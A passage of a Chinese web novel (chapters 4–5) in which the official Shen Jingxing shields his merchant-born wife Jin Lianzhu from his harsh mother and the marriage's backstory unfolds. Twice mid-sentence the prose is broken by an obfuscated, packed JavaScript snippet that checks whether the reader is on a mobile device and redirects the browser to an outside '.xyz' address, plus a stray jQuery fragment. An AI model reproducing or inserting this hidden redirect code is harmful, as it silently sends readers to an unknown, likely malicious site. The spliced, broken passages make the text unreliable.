提及这桩姻缘,就免不了有人好奇地问上一嘴,沈家这样的高门大户怎肯同商贾结亲,这不是自降身份么。他们二人门第、见识相差甚远,恐怕私下根本聊不到一起去,难怪每逢工部外派的差事,沈敬行都一马当先,亦从不带家眷出席各种宴席,怕也是对此心怀不满却碍于体面无法言明。 对于此事,外人不晓得便罢了,邱肇与沈敬行一同长大,早把他的脾性摸得一清二楚。沈敬行最守规矩、讲恩义,同样也犟得很,但凡他认准要去做的事,任凭谁劝都没用。他肯不顾偏见迎娶靳氏,除非是有救命的恩情要报答,便只剩下两情相悦这一种可能了。 思及此,邱肇愈发好奇那位表嫂,想知晓她到底生的多美,亦或有什么长处,让沈敬行这么一个清心寡欲的都动了凡心。 听姨母说,表嫂体弱多病,性子腼腆内敛,平素连府门都甚少出,往常宫宴也是能推则推了。 去年春,四皇子的百岁宴上她倒是露过面,不过邱肇身为一国之君,为了八卦偷跑去女席窥探实在太不体面,因此白白错过了与她相见的机会。话又说回来,眼下便有个现成的机会,或可邀请他们夫妻二人入宫共度佳节。 邱肇赶紧命内侍把宫宴请柬交给沈敬行,再三叮嘱他那日早些带家眷入宫。 沈敬行望一眼邱肇,因他的顽劣倍感无奈,终是没说什么,行礼退下了。 出宫后,沈敬行特地绕远路去城东的珍味阁,点了许多靳连珠爱吃的菜肴,打包带走。 昨夜兴浓时,他摸她的肚皮竟瘦成薄薄一层,腰肢又细又软,脆弱至极,叫他根本不敢触碰。母亲说她偶感风寒并不严重,她说已痊愈了,可他亲眼看到的又是另一回事。生一场病瘦成这样,期间肯定吃了不少苦头,在她艰难的时候却无法陪在身旁,是他这个丈夫的失职。 所幸他忙完了年前最要紧的一桩差事,往后得闲的时候多了,定要盯着她好好补一补。 天气寒凉,待沈敬行回到府上,饭菜也凉了。他吩咐敛秋把这些交给小厨房热一热,转道去碧波轩向母亲请安。昨夜回来的太迟,沈敬行恐打扰母亲休息,便差下人将买的礼品送过去,他人并未露面。今儿无旁的事,他理应过去报一声平安。 不曾想,快到用午饭的时辰,母亲竟不在碧波轩内。 沈敬行睨着那个神情惶恐的女婢,目光仿佛淬了寒冰,从喉头挤出一字:“说。” 女婢挨不住他的审视,腿一软噗通跪倒在地,磕磕绊绊地道:“回、回家主的话,大娘子病了许多天没来请安,老夫人担忧不已,命人请郎中为大娘子诊脉去了。” 这话不知润色多少遍才答得如此漂亮。 为着靳连珠的商贾身份,葛氏十分瞧不上她,当初极力反对这门婚事,沈敬行只得搬出多年前欠下靳家的那份恩情,逼得葛氏不得不点头应允。亦因此,葛氏对靳连珠的成见更深,不论她作甚么都觉得居心不良,往常碍于沈敬行的面子还会忍让几分,他这一走,葛氏怕只会变本加厉。 以防万一,沈敬行在府内留了眼线,却也无法时时刻刻都赶得及替靳连珠出头。闻言,他心口蓦地一窒,暗道不妙,转身冲着雅韵轩的方向疾步而去。 —— 前一夜折腾良久,使得靳连珠身心俱疲。左右她在病中,不必早起去碧波轩请安,一觉睡到日上三竿才悠然转醒。 靳连珠惬意伸了个懒腰,闭着眼翻身向外,脸埋入被褥深深嗅了一口,等贪恋够了上头残留的那股淡淡皂香味儿,她强忍着四肢的酸软,起身捡床尾的裙子穿上,哑声唤:“白芷。” 外头分明有人影晃过,却无应答声。 靳连珠以为她嗓门太低被忽略了,于是清清嗓子,继续唤:“白芍。” 这下,纱幔外的其中一道身影总算动弹起来。 靳连珠隐约发觉对方的走姿不对劲,待她挽起床帘,正对上近在咫尺的一张苍老面孔,认出是在葛氏身旁伺候的周妈妈,登时吓得七魂没了六魄,话都说不利索了:“我、我...竟不知周妈妈何时来的。白芷、白芍,快备茶——” 话音戛然而止,靳连珠一偏头,发现坐在外间的葛氏,那双跟沈敬行如出一辙的眼睛此时此刻正死死盯着她不放,比起官人的波澜不惊,葛氏眼中充斥着的鄙夷更让人胆颤心惊。 靳连珠整个人如坠冰窟,顾不上披外衫,只穿着一件单裙,踉踉跄跄地爬下床榻,道一声恭敬地“婆母金安”。隐处的酸疼使得她屈膝行礼的姿态十分别扭,可葛氏不发话,她根本不敢起身,只能咬牙硬撑着。 晌午日头正烈,金光洒在靳连珠白皙的肩头,身姿弱柳扶风,活像个蛊惑人心的妖精,尤其她才从梦中苏醒,脸颊被闷得红彤彤的,双唇饱满泛着水泽,硕大的眼睛因为心慌不停眨巴,灵动又无辜。换作任何一个正常的爷们儿,皆会被她迷失心智。 葛氏相当看不上靳氏这副上不得台面的轻浮作派,尽管今儿来雅韵轩为着正事,但一想到她那出类拔萃的独子被这样的货色轻易迷了心窍,舍不得靳氏做妾,不惜忤逆长辈的意思也得娶靳氏为正室大娘子,便有一股郁气堵在心口抒发不了。 葛氏浅咂一口茶,放了杯盏,有一搭没一搭地摇着扇子,悠闲自得的欣赏院儿里盛开的梅花,蓄意晾着靳连珠。周妈妈见状,取了一件外衫给靳连珠披上,走到葛氏身旁为她捏肩。 靳连珠耷拉着脑袋,自然也瞧不着婆母的表情。越是这般,她心里越七上八下的,不停揣测婆母一大早带人杀到雅韵轩却不叫醒她的用意,难不成要问责她放纵下人们在院中戏耍一事?还是埋怨她病愈却拖了一日没去碧波轩请安?总不能为了昨夜罢... 靳连珠禁不住打了个寒噤,只因忆起刚成亲时一件难以启齿的事儿。 洞房花烛夜,新人落了床幔行事,靳连珠这才发现沈敬行竟对床笫之事一窍不通。按理说,成婚前该有专门的人负责教授他,或是塞给他女婢以晓事,可沈敬行完完全全一张白纸,坐在榻上同靳连珠大眼瞪小眼半天,打算跳过这一关直接歇了。 这怎么能行? 明儿一条整洁如新的帕子呈到婆母面前,她还要不要活了。 幸亏靳连珠有先见之明,从陪嫁箱子里扒拉出教养妈妈给的图册,让沈敬行现学现卖。沈敬行接过来粗略一瞧内容,登时脸色大变,作势要把册子丢入火炉烧了。靳连珠眼疾手快地拦下,掐着腰,一脸严肃的同他讲上一番道理。 新婚之夜该发生什么,沈敬行并非蠢笨之人,当然知晓。只是他圣贤书读多了,早就养成清心寡欲的性子,委实接受不了这等污秽之物。靳连珠眼珠一转,计上心头,她将册子摆到自个儿跟前,逐字逐句念给他听,引着他学图上的动作。这样,无须他亲眼去看也能成事。 算来那是他们成婚至今,最酣畅淋漓,也是最像夫妻的一晚。任由下人叩门提醒到时辰该沐浴歇了,靳连珠压根不管,紧紧捂住沈敬行的耳朵也不许他听。沈敬行或许觉得这么乱来太不合规矩,本想起身摇铃,被靳连珠搂着脖子又拽回去了。 两人依照册子上的画儿折腾到天际泛白,皆累得大汗淋漓,却异常爽快。 约莫觉得这样太狼狈,沈敬行没有摇铃唤下人们进来伺候,收好喜帕放在枕边,跟她垫着还算干净的被褥休憩。靳连珠缩在他怀里毫无困意,亲他一口再讲一句来路上的趣事逸闻,最后反倒把自个儿唠叨倦了,跟沈敬行道声晚安,沉沉睡去。 翌日新人得去向长辈们见礼,因着“新婚三日无大小”的俗规,靳连珠索性一觉睡到自然醒才起身梳妆。沈敬行前十六年从未如此随心所欲过,再一瞧不堪入目的床榻,不免脸红懊恼,暗暗谴责自己犯下的荒唐行径,却不曾开口催促靳连珠,只在一旁耐心等着。 靳连珠从镜中窥见他苦大仇深的表情,招手让他过来为自己描眉。沈敬行一双手持过长枪、笔杆,唯独没碰过女子的东西,他捏着炭笔,端详娘子面若桃花的姣好容颜,眼中尽是茫然,迟迟没有动作。 靳连珠连他呆傻木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001094|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楞的样子都喜爱的不得了,笑说可以教给他,不过得画在他脸上。 沈敬行立即皱了眉,看样子十分不愿意,且觉得此举太过荒谬。 旋即,听靳连珠说这事乃闺房之乐,有助于夫妇增进感情,他疑虑之余还是心软应了,条件是她画完要擦掉,不然被长辈们瞧去有失体统。 体统、规矩、礼法,沈敬行总是这一套说辞,靳连珠听得耳朵都生茧子了。她敷衍地颔首,结果画完之后,看着这张精致的皮囊心动不已,赖着他没完没了地亲。白-日-宣-淫太不像话,沈敬行本想推开她,手一抬起来,不知为何却抱紧了怀里一具软绵绵的身子。 晨起,靳连珠嗅着屋里的味儿怪怪的,便将梳妆台后的窗牖打开了半扇透气,因此,某些暧昧细响传到了外头。周妈妈便是在这时闯入房中的。 她瞅见自家那位打小就循规蹈矩的公子,正被新妇摁在梳妆台边亲的面色潮红,气都喘不匀了,而那新妇竟只披了一件外衫,松松垮垮挂在臂弯,露出的火红小衣十分扎眼,一双细白长腿盘在公子腰间,满身软骨,婀娜多姿,偏偏一张脸长得纯良无害,妥妥吸人精气的妖精样儿。 哪似一个正经闺秀该有的作派! 周妈妈气得脸都绿了,念及新婚头一日不好训斥大娘子,只得强忍着怒火,盯着下人们为这对新人规整装束,预备领他们前去见礼。临走前还不忘拿上喜帕。 甫一靠近床榻,看清上头状况的一刹那,周妈妈这个年过半百的都忍不住面红耳赤,从心底里叹一声作孽,急匆匆退到屋外等候。 房中事虽胡闹了些,但靳连珠胜在聪慧机敏,举止稳妥,向长辈们见礼这关算平平安安的度过了。她初来乍到,因不知晓沈家的规矩,生怕犯了忌讳惹婆母不爽,故而处处谨慎小心,自认为已经把礼数做足了,万万没想到沈家内宅被葛氏管得如此严,连夫妻之间那档子事都要说道。 那是沈敬行婚假结束后的第一日,靳连珠起了个大早赶往碧波轩服侍婆母用饭,却被葛氏当着下人们的面儿劈头盖脸一顿责骂,不外乎是不满她太黏沈敬行,嫌她忒没礼教。 最甚的,葛氏打量她的眼神仿佛在瞅外面那些不体面的女子,靳连珠从未受过这等侮辱,又羞又忿却不敢分辨,当即红了眼眶,又怕自己哭哭啼啼的样子更惹婆母恼怒,一直憋到回屋才敢低切哭出声。 晚些时候,沈敬行下衙归来,得知白天发生的事儿,一言不发坐去靳连珠旁边,接过笔替她抄书。 靳连珠傻傻的以为官人是心疼她,后来才晓得,他这样循规蹈矩的人,经历了新婚夜那遭,想必心里也是极不认同她的大胆行径。他替她誊完“女四书”,主动去祠堂跪了整夜,又何尝不是一种自罚。 自那之后,沈敬行就不再同她过分亲近了,每回行事仿佛例行公事,只想着尽快交差。靳连珠伤心之余,也变得乖觉许多,一方面是畏惧婆母的手段和威严,另一方面也怕沈敬行觉得她放浪而心生厌弃。 日子一长,两人之间仿佛隔了一层戳不破的屏障,感情逐渐淡化,反不如无法见面只能互通信笺的那六年。 昨夜...说回昨夜。 靳连珠承认,他们闹出的动静确实比往常大了一些。 可,常言道:小别胜新婚。 他们太久没见,重逢后干柴烈火亦情有可原。 她是嫁给沈敬行做娘子的,又不是到尼姑庵修行来了,既然情动,凭什么不能跟官人共赴云雨。如若婆母再因此事当着下人们的面儿叱责她,那她真就没脸见人了。 靳连珠腹诽一通,但表面上不敢泄露一丝不恭敬。 内室窗牖大开,冬日寒凉的风吹动薄衫。 靳连珠大病初愈,还很虚弱,最直观的表现便是畏凉。房中积攒了一夜的暖和气儿现下散的一干二净,她上下牙打着磕绊,背脊微微颤抖,又一阵诡谲的风吹开前襟,瓷白肌肤连同傲人沟壑一并展出。 尽管屋内伺候的皆为女婢,靳连珠仍觉得格外羞臊。更要命的是,她腿酸的厉害,累得快坚持不住了。内心祈祷婆母发一发慈悲,尽早免了她的礼,允她坐下叙话。 实不知院子里那株红梅有什么吸引人的地方,葛氏半天没转开目光,甚至撑着头阖上双目,大有小憩一场的意思。 靳连珠内心叫苦连天,摇摇晃晃的身躯终究扛不住,腿一卸力便往一旁倒去,像是一朵被狂风吹落枝头的残花。 千钧一发之际,有道身影疾速冲过来,牢牢接住她。 靳连珠呼之欲出的惊叫生生止在嗓子眼,一抬眼先看见沈敬行绷紧的下颚。她的思绪因方才突发的变故凝滞,一时不知该作何反应,安静缩在他怀里。 这副柔弱不能自理的样子,叫旁人看上去,更像她故意为之了。 葛氏撂下扇子,先白了一眼靳连珠,随后将目光转移到沈敬行那儿,不悦道:“昨夜回府也不知道先来碧波轩报个平安,真是越大越没有规矩了。还有,你在家中能有什么要紧事,这般疾行一点儿都不稳重。成婚后便将我从前的教导忘得彻底,简直不像话!” 沈敬行用身子挡住靳连珠,为她拢好外衫后似乎觉得这样也不够,于是解开斗篷为她披上,随即转脸望向葛氏,眼眸中似有漆火燃烧。但他极其擅长隐忍,哪怕情绪再汹涌也不会轻易于人前泄露。 默了一瞬,沈敬行先应下葛氏的训斥,迎着她饱含责怪的目光,徐徐开口:“母亲。娇娇是我妻,就算她有错,也应交给我来管教。您不该,当着下人们的面儿折辱她。” 4. 第四回 气氛因这话瞬间降至冰点。 周遭伺候的下人们个个儿缩起脑袋,装得跟鹌鹑一般,大气不敢喘。周妈妈也停了动作,看向沈敬行的眼神里充满震惊,不敢相信素来孝顺的家主竟公然同老夫人叫板。 最怕的当属靳连珠。她顾不及感慨,惯来腼腆内敛的官人竟愿意当众唤她的小字“娇娇”,整个人被沈敬行挡得死死的,但不看也能想象到婆母火冒三丈的样子。往常碰见这种状况,他劝解不成,至多陪着她一并受罚,今日到底犯哪门子病症? 靳连珠生怕葛氏待会儿发作起来会让场面变得无法收拾,赶紧拽沈敬行的衣袖,让他先行服软。 岂料沈敬行会错意,反手握了握她冰凉的手以作安抚,继续用水波不惊的腔调说道:“昨夜时辰太晚,儿子想您应该歇下了,故而未去打搅。今日散朝归来,我本打算到碧波轩陪母亲用午饭,却听闻母亲惦记大娘子的身体,特地寻了郎中来看诊。没曾想,不见郎中,反倒看见病人迎着风在站规矩。” “敢问母亲,娇娇犯了什么错,值得您这样罚她?” 自打老家主过世之后,葛氏便承担起了养育独子跟经营沈家的重任。她惯来雷厉风行、说一不二,将阖府上下治理的服服帖帖。这些年来,沈敬行是她最拿的出手的成就,而今,她引以为傲的儿子,因一个商女屡次忤逆她、同她呛声,葛氏气不打一处来,猛地掀翻了手边的茶盏,怒喝:“放肆!谁教你的规矩,敢当众质问长辈?!” 吼得是沈敬行,可言辞中的尖刺分明直冲靳连珠而来。 沈敬行感受到靳连珠轻微瑟缩了一下,他一怔愣,即将暴走的情绪得以及时控制住,所有还没来得及宣泄的不满如同被水浇灭的大火,只余下升起的滚滚浓烟。 他从始至终都保持着公事公办的口吻,比起为了维护妻子才选择站到葛氏的对立面,反而像个不懂变通的木头,揪住不合理之处非要打破砂锅问到底。无人察觉到他暗自翻涌又悄然褪去的强烈心绪,便也显得他低头认错的态度格外虔诚:“是儿子鲁莽了。冒犯母亲乃大不敬,待忙完公务,儿子自会去家祠领罚。” 葛氏冷哼一声,懒得理睬他,拂袖而去。 待浩浩荡荡的一群人走远了,耳畔没了脚步声,靳连珠终从沈敬行怀里探出头。不等她开口说些甚么,方才还护着她的官人突然往后撤了一步,揽着她的手也一并收回去。 沈敬行把窗关好,取了厚衣裳让她换上。 没有一句多余的话语、眼神、动作。 他又恢复了往常疏离冷漠的模样。 靳连珠心落空一下,不过她已经习惯官人的反复无常,很快便整理好了。 房内无他人,靳连珠无所顾忌,当着沈敬行的面儿便解了衣带。滑嫩的肌肤泛着晶莹光泽,尽是被适才的场面吓出来的冷汗,嶙峋锁骨之下乃高低起伏的饱满盛景... 沈敬行大脑翁然一响,惯来表情匮乏的脸上逐渐崩开裂缝。他立即背过身,耳后悄然红了一大片,满心的无措、羞赧,举起的手于半空中顿了顿,轻挠一下额角又垂下了,嘴巴张张合合几次,终是没能讲出任何责怪她不拘小节的话来。 相反,靳连珠坦荡多了。一则,她又不是未经人事的少女,无甚可伪装的;二则,她冷的厉害,委实顾不及旁的,只想赶紧往身上套厚衣裳取暖。 穿戴整齐后,靳连珠试图拉着沈敬行去向婆母请罪。 “被责骂两句总好过跪家祠。那地方晒不进日光,阴冷潮湿...”尤其夜深人静时,独自面对满墙的牌位,一晚过去人就吓傻了 沈敬行被她拽了一把,却稳然不动。他从她的话中敏锐捕捉到某个字眼,表情微变:“我不在时,母亲罚你跪了家祠。” 靳连珠:“……” 的确,有过这么一次。 沈家的对牌钥匙一直在葛氏手中握着,靳连珠没有管家权却要操持府内的大小事务,行动多有不便。 上上月,因着她未跟婆母提前打招呼,便往后院凉亭中添置了黄梨花鸟十二扇围屏,葛氏斥责她矫情又奢侈,再加之私自挪动府内银钱的罪过,罚她跪了一整夜的家祠。 第二日靳连珠便起了高热,但也说不准是她穿衣太少、出汗后吹了寒风导致生病,没必要特地说给沈敬行听。至于挨罚一事,她原本就有错,更没脸往外讲了。 靳连珠用笑掩盖那片刻的失神,声量低切:“没有的事儿。如若你这会儿不愿去就罢了,稍晚一些还是得到碧波轩同母亲大人仔仔细细解释一番,求得她的谅解。年关将至,工部繁忙,你别真去跪,万一病了,影响公务就坏了。” 沈敬行不欲同她掰扯这些,正打算继续上个话题,一垂眸,猝不及防对上靳连珠湿漉漉的黑眸,像只淋雨的无辜小兔,惨兮兮地仰着脸儿问:“官人能再叫一声吗?” “……” 沈敬行酝酿好的措词一时之间忘得彻底。 他藏于袖中的手攥紧,故作镇定:“什么?” “娇娇,我的小字。” 靳连珠掬着手,眼巴巴地:“从新婚夜后你就再也没叫过了。” 沈敬行:“……” 他方才见她虚弱到快要晕厥的样子,情急之下压根儿没意识到自己叫了她什么。互称小字属实暧昧,不过这在夫妻之间原也没什么,偏偏他不是个擅长制造暧昧的,干脆躲过这个话题唤敛秋布置席面。 靳连珠倒也没追问个没完。见到沈敬行肯换她绣的香囊,按照她的喜好准备了这些饭菜,又在婆母面前处处维护她,她已十分满足了。 也许每个人的性子都不同,沈敬行内敛,不愿将心里话表露出来,默默用行动表达,而她相反,两人正巧互补,这般才叫过日子。 用完午饭,沈敬行将宫宴请柬交给靳连珠,同她商议定了此事,安心到书房处理公务。 原本该到靳连珠午睡的时候了,但她实在放心不下曲莲和玉莲,令小厨房备好蒸糕以及冰酥酪,前往晚香堂探望。 按规矩,除了贴身伺候的下人可与主子宿在同一所院内,其余的皆住在西边的角房里。 那地方距雅韵轩不近,靳连珠打小养成的习惯,这四个陪嫁女婢少了谁在身边都不自在,她求得沈敬行的准许,派人收拾出旁边空着的晚香堂给她们姐妹四个住,平时如若她有需要,随便吆喝一嗓子,她们便听得见。 两厢距离如此近,靳连珠耗到这会儿才来,心中委实过不去。说到底,这俩丫头是被她牵累挨罚,理应该好好补偿她们一番。 甫一站到门前,靳连珠就闻到一股刺鼻的中药味儿,还混杂着淡淡的血腥气,她眼皮狠狠一跳,预感不妙,脸上盛着的笑意也没了。 白芍见状,带领随行的下人们退到外头候着。 靳连珠搭在门闩上的手紧了又紧,好不容易攒足一口气推门入内。 内外两间用飘纱隔开,唯一一张矮桌上摆满包裹好的药材及纱布,一呼一吸之间充斥着令人干呕的苦涩滋味,窗牖则用暗色长布蒙住,整间屋子泄不进一丝光亮,仿佛一座暗无天日的地牢。 靳连珠缓慢撩起帘子,硬着头皮一步步挪至榻前。尽管提前做了心理准备,可,当真正看见她们的伤势的时候,她仍忍不住红了眼眶,泪水啪嗒往下砸,滴在衣袖上洇开一片暗色。 玉莲伤势较重,服药后一直昏睡着,这样方能减少一些清醒时的痛苦。 曲莲习武,体格练得壮实,受伤以后痊愈的很快,不过依照目前的情况,她想向靳连珠行礼仍十分困难。 靳连珠淌了满脸的泪水,顾不上擦,赶忙阻拦住曲莲欲起身的动作。 以防吵醒睡梦中的玉莲,她极力压低声量,克制住抽泣,安抚道:“这儿没有外人,不必拒礼。” 曲莲张了张嘴,没等说出话,眼泪先掉下来。缓了缓情绪,曲莲从袖中掏出干净的帕子为靳连珠擦脸,虚弱道:“娘子不必为奴婢们担忧,郎中说了,这伤乍一看怪唬人的,实则并无大碍。按时搽药、服药,很快便能好了。” 靳连珠闻言,心里头酸涩的厉害。 从前在淮南,她还是那个无忧无虑、不被约束的靳家姑娘,每回做错事,气得父母要动家法,都是曲莲挡在她跟前儿,没成想,如今仍是她替自己挨了罚。 靳连珠用手背揩去泪痕,看了一眼旁边的玉莲,心疼之余,很快便想到一个称得上双全的法子:“待你们养好身子,不如就回淮州罢。当初为着我远嫁身旁无亲友作伴,你与玉莲到了议亲的年龄也没舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那日到场的尽是些官眷贵妇,您念着不能给沈家丢人,凡事亲力亲为。这么大的排场,您只动用了一小部分库里的银钱。那扇黄梨花鸟十二扇围屏何其贵重,是您从私账上划出银子置办的。” “不成想,老夫人不分青红皂白一顿叱责,还让您跪了家祠...昔日您在淮州家里做姑娘的时候,不管家主和大娘子多么生气,都没舍得让您跪过...” 曲莲越说越憋屈,泪珠又噼里啪啦往下砸。 靳连珠担心把玉莲吵醒,轻拍曲莲的背脊,哄说:“谁家没个冤枉债呢,既然过去,就休要再提了,以免伤了和气。官人已然归家,往后不管怎么样,自会有他护着我的。” 此言一出,候在一旁从始至终没开过口的白芷悄悄瞥了一眼自家的傻娘子,曲莲更是没忍住火冒三丈,不恭敬的话刚到嘴边没来得及吐露,就被白芷用眼神制止住了。 她表情狠狠扭曲了一下,强摁住强烈翻涌的心绪,低声道:“是,奴婢记住了。” —— 傍晚时分,沈敬行处理完公务,乖乖听从靳连珠的叮嘱,前往碧波轩陪母亲一同用晚饭,打算席间再向她解释一二。 刚迈入院门,他便听见杯盏砸碎的脆响,紧随其后而来的,是葛氏震怒的声音:“简直反了天了!” 紧闭的门从内拉开。 葛氏在一众女婢的簇拥下气势汹汹的出来,搀扶着她的周妈妈轻拍背脊为她顺气,还不忘提议:“一个女婢竟也敢怂恿主子的事儿,实在太没规矩了。不如,都处置了?以免脏了您的眼,污了您的耳。” 葛氏本也是这样打算的,可这两个狂悖的女婢到底是靳连珠的陪嫁,就算作为婆母,她也不便直接动手。 传出去,恐落个刻薄凶悍的坏名声。 不过,交给旁的人去处理则方便多了。 葛氏没吭声,向周妈妈递了个眼神。 周妈妈明了,正准备带几个手脚利索的下人去办,转头正对上一道泠然的视线,教她心下陡然一震,脚步钉死在原地。 夜色浓郁,院门挂着两盏火红的灯笼。 沈敬行披着一件暗色大氅,整个人被红光罩着,宛如鬼魅一般无声无息地站在那儿。 直至葛氏瞥过来,他立即垂落眼睫,掩去所有晦暗心绪,恭敬道:“母亲。” 5. 第五回 白日发生的事儿历历在目,葛氏积攒的怒火因着午休一场灭了不少,这会瞅见他又隐隐有发作之势,没好气地问:“这么晚了,你来作甚?” 沈敬行欠身:“儿子特来向母亲请罪。” 葛氏冷哼一声,并不打算买账,目光钉在他脸上,似要找出甚么不寻常之处。可惜毫无收获。 沈敬行表情一如既往的平淡,坦荡的任由葛氏观察。 他从敛秋那儿接过食盒,腾出一只手上前搀住葛氏,扶她回到屋内,温吞道:“珍味阁的梅花糕仅冬日才有,且入夜之后只售一个时辰。味道甘甜,入口即化,奶香味浓郁,卖得十分红火。儿子命拂冬排了很久的队才得这么一笼,母亲赏脸吃两口?” 葛氏坐上美人榻,见沈敬行用帕子捻起一块儿糕点递过来,并未着急接下。 她挥手屏退左右,略微抬首,借着烛光观察沈敬行,心道,到底是长大了,眉眼线条展开,同他父亲更加相似。 思及已故多年的丈夫,葛氏的心窝被不痛不痒地戳了一下。 她悄然叹息一声,终是给了沈敬行这个台阶,做场面似地抿了一小口糕点,仔细品了品,滋味确实如他所言那般。她领了他这份孝心,面色缓和,道:“坐罢。” “谢母亲。” 沈敬行将那半块糕点放回原处,用帕子净了手,给葛氏斟茶后方才落座。 因着葛氏娘家人定居在蒲州,恰巧距宜州不远,沈敬行主动聊起这一路上见到的风光,葛氏笑着应声,似回忆起了恣意的过往。 屋内气氛逐渐缓和,自然也无人提及白日的龃龉。 没多久,周妈妈入内伺候葛氏服药。 葛氏饮罢,被苦的皱起眉头,赶紧捡了块儿糕点吃,随口一问似地:“事情办好了?” 周妈妈有所顾忌地瞥一眼沈敬行,哀怨的声音在肚里徘徊:她哪有机会去办呐。 不等迈出院门,拂冬这臭小子不知从哪个犄角旮旯里冒出来,跟敛秋一齐将她堵住了。 这两个儿郎人高马大,往跟前儿一杵压迫感十足。 周妈妈胆颤心惊,正想着回来同老夫人另觅对策,结果另几个随着家主而来的女婢不由分说地拉着她去小酌一杯,亏得周妈妈机灵,借口说老夫人用药的时辰到了,这才成功脱身。 周妈妈原先是葛氏的陪嫁女婢,在沈府做了大半辈子的管家婆子,地位非同一般。 下人们自然没胆量绊住她的腿脚,如此行事,只有可能是听从家主的吩咐。 周妈妈又瞅一眼沈敬行,他倒镇定,吹去茶面的热气,兀自浅啜一口,仿佛并不在意这方的谈话。 直到老夫人不耐的再次催促,沈敬行徐徐抬起眼睑,向周妈妈投来一抹幽冷视线。周妈妈骇了一跳,忙低头回话:“天色已晚,奴婢惦记着给老夫人煎药耽误了正事,这便去领罚。” 葛氏顿了一顿,心下如明镜一般透彻。 她斜一眼沈敬行,掐着帕子忍下火气,皮笑肉不笑道:“得了,你一把老骨头,真打坏了谁又能替你到近前伺候,且下去歇着罢。” 待周妈妈端着空了的药碗退出去,沈敬行赶在葛氏发作前开口:“母亲长年辛苦操持内宅繁琐事务,落下头疼的顽疾,需得日日服药才能有所缓解。郎中嘱咐过您得静养,不宜再劳心伤神,不妨将这些交给大娘子,她办事周详妥帖,定能把内宅打理得当。您落得个轻松自在,也能专心调养身子。” “怪不得今夜前来献殷勤,原是打着替你屋里那个索要管家权的主意呢。” 葛氏面带森寒之意,一时之间,不知该气那个惯会引导沈敬行的妖精,还是气被一个女子迷失心窍的儿子。 怒火如燎原之势于心中疯狂掠过,然而,盛怒之下,葛氏仍强撑着体面将背脊挺得笔直,轻嗤一声:“你回去告知她,想从我手中夺走对牌钥匙,门儿都没有。只要我还在一天,她就甭想做沈家的主。” 沈敬行并未着急辩解,静静坐了会儿,他从袖兜里掏出一页折叠整齐的纸张,平铺到桌面上,用杯盏压住四角。 葛氏看也没看:“什么东西?” “从琪华堂掌柜的那儿买来的货品单子。” 沈敬行垂着眼,神情如雨水清冷,“十二扇围屏是大娘子用嫁妆钱置办的,并未动库里的银子。” 葛氏眼梢一压:“你这是在问长辈的过错?” “儿子不敢。” 沈敬行收起单子,反复斟酌用词后开腔:“我知晓母亲瞧不上大娘子的商贾出身,不乐意她嫁入沈家,可再怎么着,这都是父亲在世时允诺的婚事,不管为着报恩还是守信,我都必须娶她。事已至此,无法改变,母亲何不放下心中成见,将管家权交给大娘子,也让您自个儿从繁重的家务事中脱出身,好好喘上一口气。如若母亲觉得大娘子办事生疏,或可从旁监督,适时指教一二。” 沈敬行难得说这么长一番话,却换来葛氏一声蔑笑。 她松了手劲儿,有一下没一下地捋着帕子被攥出的褶皱,徐徐道:“从前我以为你最乖顺明理,不想骨子里竟也是个不成体统的,为着一个女子硬扯出长篇大论来迷惑长辈,你真以为我老糊涂了?报恩、守信,如此荒谬的托辞,亏你说得出口。” 沈敬行表情微变,抿紧唇,一言未发。 显庆四十三年,沈崇奉旨南下办差,得先帝应允携带家眷一并前往。 岂料途中遇袭,沈敬行为了护住父亲身负重伤,服药后数日不见好转,反而昏睡不醒、高热不退。幸而随行的医官及时发现箭上有毒,名曰噬心散,无色无味,却可穿肠烂肚,使人痛不欲生,最终躯体腐烂而亡,唯有玄阴圣花能解。 不过此花不宜培育,十年间只生一株,价值连城,珍贵无比。 靳家的家主靳康胜年轻时为经商走南闯北,结识的友人里恰巧有一位能提供购入玄阴圣花的途径。 沈崇得知后,携带金银财宝无数,亲自登门请求助力。 靳康胜分文未取,振振有词说: 同样都为人父,他极能体会沈崇的心急如焚,就算不惜散尽家财也要寻到此花,保全沈小公子的性命。 没出两日,靳康胜携花上门,却变了一副嘴脸。 要花?可以。 得先让沈敬行与小女靳连珠订下婚约。 自古士农工商,商为末等,原本靳家这辈子就算拍马也赶不上与勋贵人家攀关系,更遑论,沈家乃皇亲国戚,沈敬行作为独子,到了议亲的年岁自然要娶个门当户对的贵女,以壮大家族势力。 如若应了靳康胜,沈家失去姻亲这一层协助事小,与商贾结亲等同自降身份,传出去沈家的颜面往哪儿放。 可此一时非彼一时,沈敬行正躺在病榻上等着这株花救命,情况十万火急,容不得沈崇跟靳康胜讨价还价。 他与大娘子葛氏恩爱非常,始终不愿纳妾,直到老年才得到这么一个儿子,恨不得拿命去疼。 纵使上天要他以整个沈家换回沈敬行,他亦无法拒绝。 当日,沈崇以一纸婚事跟沈家的信物交换玄阴圣花,多年后葛氏得知真相,险些被气得一命呜呼。 她费尽心血教导沈敬行,将他养得超尘拔俗,城内一众勋贵子弟之中,属他最出色。 沈敬行也争气,勤奋苦读,经历酷暑寒冬从未有一日懈怠,十四岁中举,年岁轻轻便坐到了工部尚书的位置。前途本该光明坦荡,结果摊上这么一门丧气的婚事,偏偏还推脱不得。 商人重利,如若沈敬行不履行承诺,保不齐这一家会不会拿着婚书或信物生事。 自从沈崇过世后,外人以为沈家仗着大内独一份的恩宠仍旧风光无两,唯有葛氏知晓内里的飘摇。 